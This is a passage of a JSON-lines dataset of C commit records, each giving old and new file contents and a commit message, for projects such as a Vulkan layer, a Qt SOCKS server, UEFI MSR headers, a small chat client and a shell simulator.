aphviz,tkelman\/graphviz,ellson\/graphviz,tkelman\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,kbrock\/graphviz,tkelman\/graphviz,pixelglow\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,jho1965us\/graphviz,BMJHayward\/graphviz"}
{"commit":"6854cea3b6c5179fcf84b29194bb70c65aae82e8","old_file":"core\/vulkan\/vk_virtual_swapchain\/cc\/platform.h","new_file":"core\/vulkan\/vk_virtual_swapchain\/cc\/platform.h","old_contents":"\/*\n * Copyright (C) 2018 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n#define VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n\n#include \"vulkan\/vulkan.h\"\n\n#include \"layer.h\"\n\nnamespace swapchain {\n\nvoid CreateSurface(const InstanceData* functions, VkInstance instance,\n                   const void* data, const VkAllocationCallbacks* pAllocator,\n                   VkSurfaceKHR* pSurface);\n\n}\n\n#endif  \/\/ VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n","new_contents":"\/*\n * Copyright (C) 2018 Google Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n#define VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n\n#include \"vulkan\/vulkan.h\"\n\n#include \"layer.h\"\n\nnamespace swapchain {\n\nvoid CreateSurface(const InstanceData* functions, VkInstance instance,\n                   const void* data, const VkAllocationCallbacks* pAllocator,\n                   VkSurfaceKHR* pSurface);\n}\n\n#endif  \/\/ VK_VIRTUAL_SWAPCHAIN_PLATFORM_H_\n","subject":"Fix clang-format with different clang-format version","message":"Fix clang-format with different clang-format version\n","lang":"C","license":"apache-2.0","repos":"google\/agi,google\/agi,pmuetschard\/gapid,Qining\/gapid,pmuetschard\/gapid,Qining\/gapid,pmuetschard\/gapid,Qining\/gapid,pmuetschard\/gapid,pmuetschard\/gapid,google\/gapid,google\/agi,google\/agi,google\/gapid,Qining\/gapid,google\/gapid,google\/gapid,google\/agi,google\/agi,pmuetschard\/gapid,google\/agi,google\/gapid,Qining\/gapid,google\/gapid,pmuetschard\/gapid,google\/gapid,google\/agi,Qining\/gapid,google\/gapid,Qining\/gapid,Qining\/gapid,pmuetschard\/gapid"}
{"commit":"98aabdc63f8ef285aadcfff35e582bba69d70bac","old_file":"SocksLib\/protocol\/Socks5UDPRequestMessage.h","new_file":"SocksLib\/protocol\/Socks5UDPRequestMessage.h","old_contents":"#ifndef SOCKS5UDPREQUESTMESSAGE_H\n#define SOCKS5UDPREQUESTMESSAGE_H\n\n#include <QHostAddress>\n\n#include \"SocksProtocolMessage.h\"\n\nclass Socks5UDPRequestMessage : public SocksProtocolMessage\n{\npublic:\n    Socks5UDPRequestMessage(QHostAddress dst, quint16 dstPort, QByteArray data, quint8 fragID=0);\n    Socks5UDPRequestMessage(QString domainName, quint16 dstPort, QByteArray data, quint8 fragID=0);\n    Socks5UDPRequestMessage();\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual ParseResult parse(QByteArray& bytes,QString * error =0);\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual bool toBytes(QByteArray * output,QString * error=0);\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual qint64 minimumMessageLength() const;\n\n    SocksProtocolMessage::AddressType addressType() const;\n    QHostAddress address() const;\n    QString domainName() const;\n    quint16 port() const;\n    QByteArray data() const;\n\nprivate:\n    QHostAddress _address;\n    QString _domainName;\n    SocksProtocolMessage::AddressType _addressType;\n    quint16 _port;\n    quint8 _fragID;\n    QByteArray _data;\n};\n\n#endif \/\/ SOCKS5UDPREQUESTMESSAGE_H\n","new_contents":"#ifndef SOCKS5UDPREQUESTMESSAGE_H\n#define SOCKS5UDPREQUESTMESSAGE_H\n\n#include <QHostAddress>\n\n#include \"SocksProtocolMessage.h\"\n\nclass Socks5UDPRequestMessage : public SocksProtocolMessage\n{\npublic:\n    Socks5UDPRequestMessage(QHostAddress dst, quint16 dstPort, QByteArray data, quint8 fragID=0);\n    Socks5UDPRequestMessage(QString domainName, quint16 dstPort, QByteArray data, quint8 fragID=0);\n    Socks5UDPRequestMessage();\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual ParseResult parse(QByteArray& bytes,QString * error =0);\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual bool toBytes(QByteArray * output,QString * error=0);\n\n    \/\/pure-virtual from SocksProtocolMessage\n    virtual qint64 minimumMessageLength() const;\n\n    SocksProtocolMessage::AddressType addressType() const;\n    QHostAddress address() const;\n    QString domainName() const;\n    quint16 port() const;\n    QByteArray data() const;\n\nprivate:\n    QHostAddress _address;\n    QString _domainName;\n    SocksProtocolMessage::AddressType _addressType;\n    quint16 _port;\n    QByteArray _data;\n    quint8 _fragID;\n};\n\n#endif \/\/ SOCKS5UDPREQUESTMESSAGE_H\n","subject":"Fix warning about initialization order (GCC\/Clang, -Wreorder)","message":"Fix warning about initialization order (GCC\/Clang, -Wreorder)\n","lang":"C","license":"bsd-2-clause","repos":"blochbergermax\/Qt-Socks-Server,raptorswing\/Qt-Socks-Server,blochberger\/Qt-Socks-Server,blochberger\/Qt-Socks-Server,raptorswing\/Qt-Socks-Server,blochbergermax\/Qt-Socks-Server"}
{"commit":"195c94360f726702b4a9a2290f02db2cd547d903","old_file":"UefiCpuPkg\/Include\/Register\/Msr.h","new_file":"UefiCpuPkg\/Include\/Register\/Msr.h","old_contents":"","new_contents":"\/** @file\r\n  MSR Definitions.\r\n\r\n  Provides defines for Machine Specific Registers(MSR) indexes. Data structures\r\n  are provided for MSRs that contain one or more bit fields.  If the MSR value\r\n  returned is a single 32-bit or 64-bit value, then a data structure is not\r\n  provided for that MSR.\r\n\r\n  Copyright (c) 2016, Intel Corporation. All rights reserved.<BR>\r\n  This program and the accompanying materials\r\n  are licensed and made available under the terms and conditions of the BSD License\r\n  which accompanies this distribution.  The full text of the license may be found at\r\n  http:\/\/opensource.org\/licenses\/bsd-license.php\r\n\r\n  THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN \"AS IS\" BASIS,\r\n  WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED.\r\n\r\n  @par Specification Reference:\r\n  Intel(R) 64 and IA-32 Architectures Software Developer's Manual, Volume 3,\r\n  December 2015, Chapter 35 Model-Specific-Registers (MSR), Chapter 35.\r\n\r\n**\/\r\n\r\n#ifndef __MSR_H__\r\n#define __MSR_H__\r\n\r\n#include <Register\/ArchitecturalMsr.h>\r\n#include <Register\/Msr\/Core2Msr.h>\r\n#include <Register\/Msr\/AtomMsr.h>\r\n#include <Register\/Msr\/SilvermontMsr.h>\r\n#include <Register\/Msr\/NehalemMsr.h>\r\n#include <Register\/Msr\/Xeon5600Msr.h>\r\n#include <Register\/Msr\/XeonE7Msr.h>\r\n#include <Register\/Msr\/SandyBridgeMsr.h>\r\n#include <Register\/Msr\/IvyBridgeMsr.h>\r\n#include <Register\/Msr\/HaswellMsr.h>\r\n#include <Register\/Msr\/HaswellEMsr.h>\r\n#include <Register\/Msr\/BroadwellMsr.h>\r\n#include <Register\/Msr\/XeonDMsr.h>\r\n#include <Register\/Msr\/SkylakeMsr.h>\r\n#include <Register\/Msr\/XeonPhiMsr.h>\r\n#include <Register\/Msr\/Pentium4Msr.h>\r\n#include <Register\/Msr\/CoreMsr.h>\r\n#include <Register\/Msr\/PentiumMMsr.h>\r\n#include <Register\/Msr\/P6Msr.h>\r\n#include <Register\/Msr\/PentiumMsr.h>\r\n\r\n#endif\r\n","subject":"Add top level MSR include file","message":"UefiCpuPkg\/Include: Add top level MSR include file\n\nAdd top level MSR include file that includes the Architecural MSR\ninclude file and all family specific MSR files from the Msr\nsubdirectory\n\nIntel(R) 64 and IA-32 Architectures Software Developer's\nManual, Volume 3, December 2015, Chapter 35\nModel-Specific-Registers (MSR).\n\nCc: Jeff Fan <7d6fed0251a47076d6e691789131f22f07d057b4@intel.com>\nCc: Jiewen Yao <364a90bfebd1f362ebb7b48e4bf8ec010adef203@intel.com>\nContributed-under: TianoCore Contribution Agreement 1.0\nSigned-off-by: Michael Kinney <fd20bc543a9f65bb633fac7d08a403c1f1c8eb6c@intel.com>\nReviewed-by: Jeff Fan <7d6fed0251a47076d6e691789131f22f07d057b4@intel.com>\n","lang":"C","license":"bsd-2-clause","repos":"MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2,MattDevo\/edk2"}
{"commit":"99c06cff63c4dc661b5cffc5a80f79327269684a","old_file":"c\/anagrams.c","new_file":"c\/anagrams.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid swap(char *i, char *j) {\n    char saved = *i;\n    *i = *j;\n    *j = saved;\n}\n\nvoid generate_permutations(char* a, int n) {\n    if (n == 0) {\n        printf(\"%s\\n\", a);\n    } else {\n        for (int i = 0; i < n; i++) {\n            generate_permutations(a, n-1);\n            swap(&a[n % 2 == 0 ? 0 : i], &a[n]);\n        }\n        generate_permutations(a, n-1);\n    }\n}\n\nint main(int argc, const char* argv[]) {\n\n    if (argc != 2) {\n        fprintf(stderr, \"Need exactly one argument!\\n\");\n        return 1;\n    }\n\n    size_t len = strlen(argv[1]);\n    char *word = malloc(len + 1);\n    word = strncpy(word, argv[1], len);\n\n    generate_permutations(word, len-1);\n\n    free(word);\n    return 0;\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nvoid swap(char *i, char *j) {\n    char saved = *i;\n    *i = *j;\n    *j = saved;\n}\n\nvoid generate_permutations(char* a, int n) {\n    if (n == 0) {\n        printf(\"%s\\n\", a);\n    } else {\n        for (int i = 0; i < n; i++) {\n            generate_permutations(a, n-1);\n            swap(&a[n % 2 == 0 ? 0 : i], &a[n]);\n        }\n        generate_permutations(a, n-1);\n    }\n}\n\nint main(int argc, const char* argv[]) {\n\n    if (argc != 2) {\n        fprintf(stderr, \"Exactly one argument is required\\n\");\n        return 1;\n    }\n\n    size_t len = strlen(argv[1]);\n    char *word = malloc(len + 1);\n    word = strncpy(word, argv[1], len);\n\n    generate_permutations(word, len-1);\n\n    free(word);\n    return 0;\n}\n","subject":"Make the error message consistent with all of the other languages","message":"Make the error message consistent with all of the other languages\n","lang":"C","license":"mit","repos":"rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/ple,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/polyglot,rtoal\/polyglot,rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot,rtoal\/ple,rtoal\/polyglot"}
{"commit":"1b5fd56466967d0092ba489e45343d7c3317ed95","old_file":"drivers\/scsi\/qla2xxx\/qla_version.h","new_file":"drivers\/scsi\/qla2xxx\/qla_version.h","old_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2014 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.07.00.08-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t7\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","new_contents":"\/*\n * QLogic Fibre Channel HBA Driver\n * Copyright (c)  2003-2014 QLogic Corporation\n *\n * See LICENSE.qla2xxx for copyright and licensing details.\n *\/\n\/*\n * Driver version\n *\/\n#define QLA2XXX_VERSION      \"8.07.00.16-k\"\n\n#define QLA_DRIVER_MAJOR_VER\t8\n#define QLA_DRIVER_MINOR_VER\t7\n#define QLA_DRIVER_PATCH_VER\t0\n#define QLA_DRIVER_BETA_VER\t0\n","subject":"Update the driver version to 8.07.00.16-k.","message":"qla2xxx: Update the driver version to 8.07.00.16-k.\n\nSigned-off-by: Giridhar Malavali <799b6491fce2c7a80b5fedcf9a728560cc9eb954@qlogic.com>\nSigned-off-by: Saurav Kashyap <88d6fd94e71a9ac276fc44f696256f466171a3c0@qlogic.com>\nSigned-off-by: Christoph Hellwig <923f7720577207a44b32e59bbfbea59d27f1ae8e@lst.de>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"9a146e55752f9b84119fcedfabcf0dfca877610b","old_file":"connection.h","new_file":"connection.h","old_contents":"int initial_connection(char *ip_addr, int port) {\n\n    int socket_desc;\n    struct sockaddr_in server;\n\n    \/\/Create socket\n    socket_desc = socket(AF_INET , SOCK_STREAM , 0);\n    if (socket_desc == -1)\n    {\n        puts(\"Could not create socket\");\n        return 1;\n    }\n\n    server.sin_addr.s_addr = inet_addr(ip_addr); \/\/ set IP ADDRESS of server\n    server.sin_family = AF_INET;\n    server.sin_port = htons(port); \/\/ set port of chat service\n\n    \/\/Connect to remote server\n    if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)\n    {\n        puts(\"connect error\");\n        return 1;\n    }\n\n}\n","new_contents":"int initial_connection(char *ip_addr, int port) {\n\n    int socket_desc;\n    struct sockaddr_in server;\n\n    \/\/Create socket\n    socket_desc = socket(AF_INET , SOCK_STREAM , 0);\n    if (socket_desc == -1)\n    {\n        puts(\"Could not create socket\");\n        return 1;\n    }\n\n    server.sin_addr.s_addr = inet_addr(ip_addr); \/\/ set IP ADDRESS of server\n    server.sin_family = AF_INET;\n    server.sin_port = htons(port); \/\/ set port of chat service\n\n    \/\/Connect to remote server\n    if (connect(socket_desc , (struct sockaddr *)&server , sizeof(server)) < 0)\n    {\n        puts(\"connect error\");\n        return 1;\n    }\n\n}\n\nint recieve_data(int lenght, char *message_buffer){\n\n    char server_reply[lenght];\n    int read_size;\n\n    \/\/ recieve packet from server\n    read_size = recv(socket_desc, server_reply , lenght , 0);\n\n    if (read_size > 0) {\n        \/*\n            set end point string on last character by calculate read_size\n            In normal, recv don't clear last buffer string\n            So we must set end of string to prevent bug from last buffer string\n        *\/\n        server_reply[read_size] = '\\0';\n        strcpy(message_buffer, server_reply);\n        return 1;\n    }\n    else {\n        puts(\"Receive failed.\");\n        return 0;\n    }\n\n}\n\nint send_data(char *text) {\n\n    return send(socket_desc , text , strlen(text) , 0) > 0;\n\n}\n","subject":"Add function recv and send","message":"Add function recv and send\n\nImprove function to use easier","lang":"C","license":"mit","repos":"chin8628\/terminal-s-chat"}
{"commit":"f1482d1be22da850eee8db1e597f5c555c16e42f","old_file":"src\/common.c","new_file":"src\/common.c","old_contents":"\/* $Id$ *\/\nstatic char const _copyright[] =\n\"Copyright (c) 2006-2013 Pierre Pronchery <khorben@defora.org>\";\n\/* This file is part of DeforaOS Desktop Mailer *\/\nstatic char const _license[] =\n\"This program is free software: you can redistribute it and\/or modify\\n\"\n\"it under the terms of the GNU General Public License as published by\\n\"\n\"the Free Software Foundation, version 3 of the License.\\n\"\n\"\\n\"\n\"This program is distributed in the hope that it will be useful,\\n\"\n\"but WITHOUT ANY WARRANTY; without even the implied warranty of\\n\"\n\"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\\n\"\n\"GNU General Public License for more details.\\n\"\n\"\\n\"\n\"You should have received a copy of the GNU General Public License\\n\"\n\"along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\\n\";\n\nstatic char const * _authors[] =\n{\n\t\"Pierre Pronchery <khorben@defora.org>\",\n\tNULL\n};\n\nstatic char const * _comments =\nN_(\"e-mail client for the DeforaOS desktop\");\n","new_contents":"\/* $Id$ *\/\nstatic char const _copyright[] =\n\"Copyright © 2006-2013 Pierre Pronchery <khorben@defora.org>\";\n\/* This file is part of DeforaOS Desktop Mailer *\/\nstatic char const _license[] =\n\"This program is free software: you can redistribute it and\/or modify\\n\"\n\"it under the terms of the GNU General Public License as published by\\n\"\n\"the Free Software Foundation, version 3 of the License.\\n\"\n\"\\n\"\n\"This program is distributed in the hope that it will be useful,\\n\"\n\"but WITHOUT ANY WARRANTY; without even the implied warranty of\\n\"\n\"MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\\n\"\n\"GNU General Public License for more details.\\n\"\n\"\\n\"\n\"You should have received a copy of the GNU General Public License\\n\"\n\"along with this program.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\\n\";\n\nstatic char const * _authors[] =\n{\n\t\"Pierre Pronchery <khorben@defora.org>\",\n\tNULL\n};\n\nstatic char const * _comments =\nN_(\"e-mail client for the DeforaOS desktop\");\n","subject":"Use the copyright character for the about dialogs","message":"Use the copyright character for the about dialogs\n","lang":"C","license":"bsd-2-clause","repos":"DeforaOS\/Mailer,DeforaOS\/Mailer"}
{"commit":"99e0edf752302fe27340e16b9d8233cd04bc2029","old_file":"lib\/packet_queue.c","new_file":"lib\/packet_queue.c","old_contents":"#include \"packet_queue.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nuint32_t packet_queue_init(packet_queue_t * queue)\n{\n    queue->head = 0;\n    queue->tail = 0;\n\n    return SUCCESS;\n}\n\nbool packet_queue_is_empty(packet_queue_t * queue)\n{\n    return queue->head == queue->tail;\n}\n\nbool packet_queue_is_full(packet_queue_t * queue)\n{\n    return abs(queue->head - queue->tail) == PACKET_QUEUE_SIZE;\n}\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet)\n{\n    if (packet_queue_is_full(queue))\n        return NO_MEMORY;\n\n    memcpy(&queue->packets[0], packet, sizeof(*packet));\n\n    queue->tail++;\n\n    return SUCCESS;\n}\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet)\n{\n    if (packet_queue_is_empty(queue))\n        return NOT_FOUND;\n\n    *packet = &queue->packets[queue->head];\n\n    queue->head++;\n\n    return SUCCESS;\n}\n\n","new_contents":"#include \"packet_queue.h\"\n\n#include \"error.h\"\n#include \"radio.h\"\n\n#include <stdint.h>\n#include <stdlib.h>\n#include <string.h>\n\n\nuint32_t packet_queue_init(packet_queue_t * queue)\n{\n    queue->head = 0;\n    queue->tail = 0;\n\n    return SUCCESS;\n}\n\nbool packet_queue_is_empty(packet_queue_t * queue)\n{\n    return queue->head == queue->tail;\n}\n\nbool packet_queue_is_full(packet_queue_t * queue)\n{\n    return abs(queue->head - queue->tail) == PACKET_QUEUE_SIZE;\n}\n\nuint32_t packet_queue_add(packet_queue_t * queue, radio_packet_t * packet)\n{\n    if (packet_queue_is_full(queue))\n        return NO_MEMORY;\n\n    memcpy(&queue->packets[queue->tail], packet, sizeof(*packet));\n\n    queue->tail = (queue->tail + 1u) % PACKET_QUEUE_SIZE;\n\n    return SUCCESS;\n}\n\nuint32_t packet_queue_get(packet_queue_t * queue, radio_packet_t ** packet)\n{\n    if (packet_queue_is_empty(queue))\n        return NOT_FOUND;\n\n    *packet = &queue->packets[queue->head];\n\n    queue->head = (queue->head + 1u) % PACKET_QUEUE_SIZE;\n\n    return SUCCESS;\n}\n\n","subject":"Increment head and tail properly.","message":"Increment head and tail properly.\n","lang":"C","license":"bsd-3-clause","repos":"hlnd\/nrf51-simple-radio,hlnd\/nrf51-simple-radio"}
{"commit":"73a7df9ca22086025246f5329826750b46aea81a","old_file":"source\/board\/mtconnect04s.c","new_file":"source\/board\/mtconnect04s.c","old_contents":"\/**\n * @file    mtconnect04s.c\n * @brief   board ID for the MtM MtConnect04S developments board\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nconst char *board_id = \"C005\";\n\n\/\/ URL_NAME and DRIVE_NAME must be 11 characters excluding\n\/\/ the null terminated character\n\/\/ Note - 4 byte alignemnt required as workaround for ARMCC compiler bug with weak references\n__attribute__((aligned(4)))\nconst char daplink_url_name[11] =   \"HELP    HTM\";\n__attribute__((aligned(4)))\nconst char daplink_drive_name[11] = \"MTCONNEC04S\";\n__attribute__((aligned(4)))\nconst char *const daplink_target_url = \"https:\/\/blog.mtmtech.com.tw\/mtconnect04s\/\";\n","new_contents":"\/**\n * @file    mtconnect04s.c\n * @brief   board ID for the MtM MtConnect04S developments board\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\nconst char *board_id = \"C005\";\n\n\/\/ URL_NAME and DRIVE_NAME must be 11 characters excluding\n\/\/ the null terminated character\n\/\/ Note - 4 byte alignemnt required as workaround for ARMCC compiler bug with weak references\n__attribute__((aligned(4)))\nconst char daplink_url_name[11] =   \"HELP    HTM\";\n__attribute__((aligned(4)))\nconst char daplink_drive_name[11] = \"MTCONNEC04S\";\n__attribute__((aligned(4)))\nconst char *const daplink_target_url = \"https:\/\/developer.mbed.org\/platforms\/MtConnect04S\/\";\n","subject":"Update target page url of MtConnect04S","message":"Update target page url of MtConnect04S\n","lang":"C","license":"apache-2.0","repos":"sg-\/DAPLink,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port,google\/DAPLink-port,google\/DAPLink-port,sg-\/DAPLink"}
{"commit":"dbd9075781f1f83ec53841c162ea027902c3742a","old_file":"queue.c","new_file":"queue.c","old_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n\treturn q;\n}\n\nint Queue_Empty(Queue* q)\n{\n\treturn (q->head == q->tail);\n}","new_contents":"#include \"queue.h\"\n\nstruct Queue\n{\n\tsize_t head;\n\tsize_t tail;\n\tsize_t size;\n\tvoid** e;\n};\n\nQueue* Queue_Create(size_t n)\n{\n\tQueue* q = (Queue *)malloc(sizeof(Queue));\n\tq->size = n;\n\tq->head = q->tail = 1;\n\tq->e = (void **)malloc(sizeof(void*) * (n + 1));\n\treturn q;\n}\n\nint Queue_Empty(Queue* q)\n{\n\treturn (q->head == q->tail);\n}\n\nint Queue_Full(Queue* q)\n{\n\treturn (q->head == q->tail + 1) || (q->head == 1 && q->tail == q->size);\n}","subject":"Add helper function Queue Full implementation","message":"Add helper function Queue Full implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"e3cdcbbbfd75cd76d705bee7c01ea07cced618cb","old_file":"shell.c","new_file":"shell.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include \"parsing.h\"\n#include \"shutility.h\"\n\nint main(int argc, char **argv)\n{   \n        int status = 1;\n        int read;\n        size_t len;\n        char *buffer = NULL;\n\n        printf(\"----- C O N S O L E\\t S I M U L A T I O N -----\\n\\n\");\n        while (status) {    \n                \/* Get & display username and hostname *\/\n                display_info();\n                \/* Get user input, strtok to remove newline *\/      \n                read = getline(&buffer, &len, stdin);\n                strtok(buffer, \"\\n\");       \n                status = parsing(buffer);\n        }\n        if (read)\n                free(buffer);\n\n        return 0;\n}","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <signal.h>\n#include \"parsing.h\"\n#include \"shutility.h\"\n\n\/*\nvoid sig_handler(int signo)\n{\n    \tif (signo == SIGUSR1)\n\t\tprintf(\"Received SIGUSR1\\n\");\n\telse if (signo == SIGTERM)\n\t\tprintf(\"Received SIGTERM\\n\");\n\telse if (signo == SIGINT)\n\t\tprintf(\"Received SIGINT\\n\");\n\telse if (signo == SIGFPE)\n\t\tprintf(\"Received SIGFPE\\n\");\n\telse if (signo == SIGABRT)\n\t\tprintf(\"Received SIGABRT\\n\");\n}\n*\/\n\nint main(int argc, char **argv)\n{   \n\tint status = 1;\n\tint read;\n\tsize_t len;\n\tchar *buffer = NULL;\n\n\t\/* Example of signal handling \n\t* \n\t*if (signal(SIGUSR1, sig_handler) == SIG_ERR)\n\t*\tprintf(\"\\ncan't catch SIGUSR1\\n\");\n\t*if (signal(SIGTERM, sig_handler) == SIG_ERR)\n\t*\tprintf(\"\\ncan't catch SIGTERM\\n\");\n\t*if (signal(SIGINT, sig_handler) == SIG_ERR)\n\t*\tprintf(\"\\ncan't catch SIGINT\\n\");\n\t*if (signal(SIGFPE, sig_handler) == SIG_ERR)\n\t*\tprintf(\"\\ncan't catch SIGFPE\\n\");\t\n\t*if (signal(SIGABRT, sig_handler) == SIG_ERR)\n\t*\tprintf(\"\\ncan't catch SIGABRT\\n\");\n\t*\/\n\t\n\tprintf(\"----- C O N S O L E\\t S I M U L A T I O N -----\\n\\n\");\n\twhile (status) {    \n\t\t\/* Get & display username and hostname *\/\n\t\tdisplay_info();\n\t\t\/* Get user input, strtok to remove newline *\/      \n\t\tread = getline(&buffer, &len, stdin);\n\t\tstrtok(buffer, \"\\n\");       \n\t\tstatus = parsing(buffer);\n\t}\n\tif (read)\n\t\tfree(buffer);\n\n\treturn 0;\n}","subject":"Add example of signal handling","message":"Add example of signal handling\n","lang":"C","license":"mit","repos":"Bcoolie\/Shell-Simulation"}
{"commit":"ce8db655cff33b744df07e338e328fb598a5a81c","old_file":"snake.c","new_file":"snake.c","old_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","new_contents":"#include <stdlib.h>\n\n\/**\n * @author: Hendrik Werner\n *\/\n\n#define BOARD_HEIGHT 50\n#define BOARD_WIDTH 50\n\ntypedef struct Position {\n\tint row;\n\tint col;\n} Position;\n\ntypedef enum Cell {\n\tEMPTY\n\t,SNAKE\n\t,FOOD\n} Cell;\n\nint main() {\n\treturn EXIT_SUCCESS;\n}\n","subject":"Enumerate possible values for cells.","message":"Enumerate possible values for cells.\n","lang":"C","license":"mit","repos":"Hendrikto\/Snake"}
{"commit":"515a641dacc9b445826646263f92bb4148963a25","old_file":"test\/CFrontend\/2005-02-20-AggregateSAVEEXPR.c","new_file":"test\/CFrontend\/2005-02-20-AggregateSAVEEXPR.c","old_contents":"\/\/ RUN: %llvmgcc %s -o \/dev\/null -S\n\/\/ Note:\n\/\/  We fail this on Sparc because the C library seems to be missing complex.h\n\/\/  and the corresponding C99 complex support.\n\/\/\n\/\/  We could modify the test to use only GCC extensions, but I don't know if\n\/\/  that would change the nature of the test.\n\/\/\n\/\/ XFAIL: sparc\n\n#include <complex.h>\n\nint foo(complex float c) {\n    return creal(c);\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -o \/dev\/null -S\n\/\/ Note:\n\/\/  We fail this on Sparc because the C library seems to be missing complex.h\n\/\/  and the corresponding C99 complex support.\n\/\/\n\/\/  We could modify the test to use only GCC extensions, but I don't know if\n\/\/  that would change the nature of the test.\n\/\/\n\/\/ XFAIL: sparc\n\n#ifdef __CYGWIN__\n  #include <mingw\/complex.h>\n#else\n  #include <complex.h>\n#endif\n\nint foo(complex float c) {\n    return creal(c);\n}\n","subject":"Make this testcase compatible with CYGWIN.","message":"Make this testcase compatible with CYGWIN.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@44353 